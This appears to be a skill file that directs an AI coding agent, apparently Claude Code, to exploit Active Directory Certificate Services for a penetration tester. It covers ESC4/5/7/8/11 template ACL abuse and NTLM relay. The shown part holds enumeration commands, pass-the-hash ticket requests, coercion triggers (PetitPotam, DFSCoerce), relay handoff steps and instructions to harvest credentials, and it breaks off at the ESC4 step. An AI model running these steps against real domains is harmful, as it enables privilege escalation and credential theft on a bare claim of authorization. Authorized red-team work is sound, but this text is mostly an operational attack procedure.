/adcs-access-and-relay

name: adcs-access-and-relay
description: >
  Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to
  enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI
  object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to
  HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
keywords:
  - ESC4
  - ESC5
  - ESC7
  - ESC8
  - ESC11
  - template ACL
  - ManageCA
  - ManageCertificates
  - NTLM relay certificate
  - relay to AD CS
  - certsrv relay
  - web enrollment relay
  - ICPR relay
  - certificate template permission
  - modifyCertTemplate
tools:
  - Certipy
  - Certify.exe
  - ntlmrelayx.py
  - modifyCertTemplate.py
  - PetitPotam
  - Rubeus
opsec: medium

ADCS Access Control & Relay Attacks (ESC4 / ESC5 / ESC7 / ESC8 / ESC11)

You are helping a penetration tester exploit ADCS through template/CA access control abuse and NTLM relay to enrollment endpoints. All testing is under explicit written authorization.

**Kerberos-first authentication**: ESC4, ESC5, and ESC7 use Kerberos auth for all operations. ESC8 and ESC11 are inherently NTLM-based (relay attacks) — the Kerberos-first convention does not apply. These techniques explicitly accept NTLM detection artifacts (Event 4776, relay signatures) as a necessary cost.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[adcs-access-and-relay] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain user credentials (for ESC4/5/7) or ability to coerce NTLM auth (ESC8/11)
• Network access to CA server
• Tools: `certipy`, `Certify.exe`, `ntlmrelayx.py` (Impacket), `modifyCertTemplate.py`,

coercion tools (PetitPotam, SpoolSample, DFSCoerce)

**Kerberos-first workflow** (ESC4/5/7 only):

cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All Certipy/Impacket commands use -k -no-pass

**Tool output directory**: `getTGT.py`, `certipy req`, and `certipy auth` write output files to CWD with no output-path flag. Always prefix with `cd $TMPDIR &&`. Use `mv` (not `cp`) when saving evidence.

Privileged Commands

Claude Code cannot execute `sudo` commands. The relay infrastructure tools require root and must be handed off to the user:

• **ntlmrelayx.py** — NTLM relay listener (ESC8/ESC11, binds SMB/HTTP ports)
• **krbrelayx.py** — Kerberos relay listener (ESC8/ESC11 variant)
• **mitm6** — IPv6 DNS takeover for coercion (used with relay)

**Handoff protocol:** Present the full command including `sudo` to the user. For relay chains (relay listener + coercion trigger), batch the privileged commands so the user can start them before Claude triggers coercion.

**Non-privileged commands** Claude can execute directly:

• ACL abuse (ESC4/5/7): `certipy`, `Certify.exe`, `modifyCertTemplate.py`
• Coercion triggers: `PetitPotam.py`, `printerbug.py`, `DFSCoerce.py`
• Certificate auth: `certipy auth`, `Rubeus.exe asktgt`
• Post-exploitation: `secretsdump.py -k -no-pass`

Step 1: Identify Attack Path

From BloodHound / enumeration results

| Finding | ESC | Attack Path | |---------|-----|-------------| | WriteProperty/WriteDACL on certificate template | ESC4 | Modify template → ESC1 | | Write access to PKI containers/CA object | ESC5 | Create/publish vulnerable template | | ManageCA permission on CA | ESC7 | Enable SAN / approve requests / SubCA abuse | | ManageCertificates permission on CA | ESC7 | Approve pending requests / set extensions | | HTTP enrollment endpoint (CES/CEP/NDES) | ESC8 | NTLM relay to web enrollment | | ICPR RPC without encryption enforcement | ESC11 | NTLM relay to RPC enrollment |

Enumerate CA permissions

# Certipy — always use -output to avoid writing to CWD
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

# Certify — PKI object ACLs
Certify.exe pkiobjects /domain:DOMAIN /showAdmins
Certify.exe find /showAllPermissions

Check for web enrollment endpoints

# Certify — list CAs with enrollment URLs
Certify.exe cas

# certutil — enrollment server URLs
certutil.exe -enrollmentServerURL -config DC.DOMAIN.LOCAL\DOMAIN-CA

Check ICPR encryption enforcement (ESC11)

# Certipy find output shows: "Enforce Encryption for Requests: Disabled"
certipy find -k -no-pass -dc-ip DC_IP -stdout | grep -i "enforce encryption"

# On CA server directly
certutil -getreg CA\InterfaceFlags
# Vulnerable if IF_ENFORCEENCRYPTICERTREQUEST is NOT set

Decision tree

What access do you have?
├── Write on template object → ESC4 (Step 2)
├── Write on PKI container / CA AD object → ESC5 (Step 3)
├── ManageCA on CA → ESC7 Attack 1 or 2 (Step 4)
├── ManageCertificates on CA → ESC7 Attack 3 (Step 4)
├── Can coerce NTLM auth + HTTP enrollment available → ESC8 (Step 5)
├── Can coerce NTLM auth + ICPR unencrypted → ESC11 (Step 6)
└── No direct access → Escalate or **acl-abuse**

Step 2: ESC4 — Template ACL Abuse

**Conditions**: WriteProperty, WriteDACL, or WriteOwner on a certificate template. The attacker modifies the template to intro